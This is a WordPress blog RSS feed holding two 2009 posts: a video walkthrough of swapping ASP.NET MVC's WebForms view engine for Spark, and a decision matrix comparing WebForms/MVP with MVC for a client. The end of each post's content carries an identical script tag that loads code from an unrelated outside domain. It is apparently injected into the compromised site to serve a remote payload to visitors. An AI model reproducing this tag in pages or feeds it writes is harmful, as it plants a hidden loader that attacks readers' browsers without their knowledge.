<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; WebForms</title>
	<atom:link href="http://eric.polerecky.com/archives/category/webforms/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ASP.NET MVC New Project Replace Webforms with Spark</title>
		<link>http://eric.polerecky.com/archives/aspnet-mvc-new-project-replace-webforms-with-spark/</link>
		<comments>http://eric.polerecky.com/archives/aspnet-mvc-new-project-replace-webforms-with-spark/#comments</comments>
		<pubDate>Fri, 29 May 2009 13:15:58 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[WebForms]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=343</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Note: This demo is in VB.NET and based on my use of spark on a real project; I can say that this will be the first of a few Spark MVC for VB.NET developers. Spark uses C# in the views; I think its going to be a good way, for me at least, to keep


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p><em>Note: This demo is in VB.NET and based on my use of spark on a real project; I can say that this will be the first of a few Spark MVC for VB.NET developers. Spark uses C# in the views; I think its going to be a good way, for me at least, to keep up to speed with both syntax.</em></p>
<p><em>It seems that bootstrapping Spark in the global.asa (code in general) is not working for namespaces. I&#8217;ll have another post early next week about all my next steps but for now just know you need to add your namespaces to a _global.spark<br />
</em></p>
<p>This demo is the process of getting running with spark and replacing the webforms view engine in a new asp.net mvc project. From soup to nuts as they would say&#8230;I guess.</p>
<p><object width="640" height="498" data="/SparkDemoProject/SparkDemoProject_controller.swf" type="application/x-shockwave-flash"><param name="name" value="csSWF" /><param name="bgcolor" value="#1a1a1a" /><param name="flashvars" value="autostart=false&amp;thumb=FirstFrame.png&amp;thumbscale=45&amp;color=0x000000,0x000000" /><param name="src" value="/SparkDemoProject/SparkDemoProject_controller.swf" /><param name="allowfullscreen" value="true" /><param name="quality" value="best" /></object></p>
<h2>Links:</h2>
<p>Spark Download:</p>
<p><a href="http://sparkviewengine.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=27109">http://sparkviewengine.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=27109</a></p>
<p>Spark Master Layout (Master Pages)</p>
<p><a href="http://sparkviewengine.com/documentation/master-layouts">http://sparkviewengine.com/documentation/master-layouts</a></p>
<p>Project Source:</p>
<p>ASP.NET MVC new project with Spark view engine (coming soon)<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/aspnet-mvc-new-project-replace-webforms-with-spark/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A somewhat less biases comparison of MVP and MVC</title>
		<link>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/</link>
		<comments>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/#comments</comments>
		<pubDate>Wed, 20 May 2009 20:40:04 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[WebForms]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/</guid>
		<description><![CDATA[<br/>What is it called?
First off; what are we calling “Classic ASP.NET Development using Webforms and the MVP Pattern” today? I’d like to suggest we stick with a discussion of the patterns and the surrounding technology. 
Component based development using the MVP pattern…or MVP for short  
and
Non-Component based development using the MVC pattern…or MVC for


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><h2>What is it called?</h2>
<p>First off; what are we calling “Classic ASP.NET Development using Webforms and the MVP Pattern” today? I’d like to suggest we stick with a discussion of the patterns and the surrounding technology. </p>
<p>Component based development using the MVP pattern…or MVP for short <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>and</p>
<p>Non-Component based development using the MVC pattern…or MVC for short <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>And I am aware that there are companies working on MVC components/html helpers…so what else are we going to call it? Then again you might be write…what % of “Webforms” developers are using the MVP pattern? 5%?…hmmm…anyway I am sticking with MVC and MVP until I read something better on stackoverflow.com</p>
<h2>Don’t be such an ass</h2>
<p>Here is the document that I presented to a client when they asked for…well a comparison of “Classic ASP.NET Development using Webforms” and “MVC”</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Introduction
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">In the .NET world the MVC pattern is relatively new but it has been the staple development architecture for Java and Ruby for over a decade. Most of the current the debate between what technology is “better” is argued from a developer’s point of view. While the technical underpinnings of a technology can often translate to the projects success; I feel that both WebForms and MVC are mature enough that most projects will do fine with either.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">ASP.NET WebForms
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Through the abstraction of HTML, CSS, and JavaScript; ASP.NET WebForms attempts to recreate the experience of developing a desktop application. The entire HTTP protocol is successfully abstracted away and developers are present with a faux statefulness that mimics desktop applications. Development teams are able to use a WYSIWIG style of development.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">ASP.NET MVC
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Out of the box ASP.NET MVC forces developers to understand HTML, CSS, and JavaScript. There is little to no abstraction which can be a double edged sword. On one hand your development team has access to the raw power of the markup &amp; languages that make up the web. On the other; if your development team is not experienced with HTML, CSS, and JavaScript there might be a learning curve.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Decision Matrix
</p>
<p>   </span></p>
<p>
<table class="MsoNormalTable" style="margin: auto auto auto 4.65pt; width: 504.75pt; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellspacing="0" cellpadding="0" width="673" border="0">
<tbody>
<tr style="height: 12.75pt; mso-yfti-irow: 0; mso-yfti-firstrow: yes">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Number
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Topic
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">ASP WebForms
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">ASP.NET MVC
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 19.35pt; mso-yfti-irow: 1">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">1
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Size, Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is small and your team is not experienced with MVC
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is large (experience with MVC not required)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 21.15pt; mso-yfti-irow: 2">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">2
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">3rd Party Components
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project requires many specific 3rd party vendor components
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is not bound to 3rd party vendor components (The UI can still be very rich)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 22.5pt; mso-yfti-irow: 3">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">3
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Open Source
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project team is not comfortable with open-source libraries
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project team is comfortable with open-source libraries (especially jQuery)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 23.85pt; mso-yfti-irow: 4">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">4
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your customers requirements will not change during development
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your customers requirements may change during development
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 5">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">5
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project will never be &quot;extended&quot; or have a feature &quot;added&quot;
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project maybe be &quot;extended&quot; or have features &quot;added&quot;
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 6">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">6
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Testability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Unit testing is not required for this project
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Unit testing is required for this project
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 7">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">7
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">
<p>&#160;</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is limited in maintenance hours
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 8; mso-yfti-lastrow: yes">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">8
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Compliance
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">There is little to no concern with regard to HTML compliance
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">HTML markup compliance (compliance, screen readers, etc)
</p>
<p>             </span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Notes
</p>
<p>   </span></p>
<ol style="margin-top: 0in" type="1">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">The convention built into the MVC framework helps enforce a separation of concerns design pattern what helps developers built applications that are inherently more extensible and maintainable.
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">If your project/company has an existing large investment in 3<sup>rd</sup> party components you should consider sticking with whatever framework the components are developed for (Webforms or MVC)
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">component suites are available for both frameworks but many developers have found that jQuery, and to a less extent other open source frameworks, is a better solution for building rich UI
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">The convention built into the MVC framework helps enforce a separation of concerns design pattern what helps developers built applications that are inherently loosely coupled.
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">See note #4
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
</ol>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
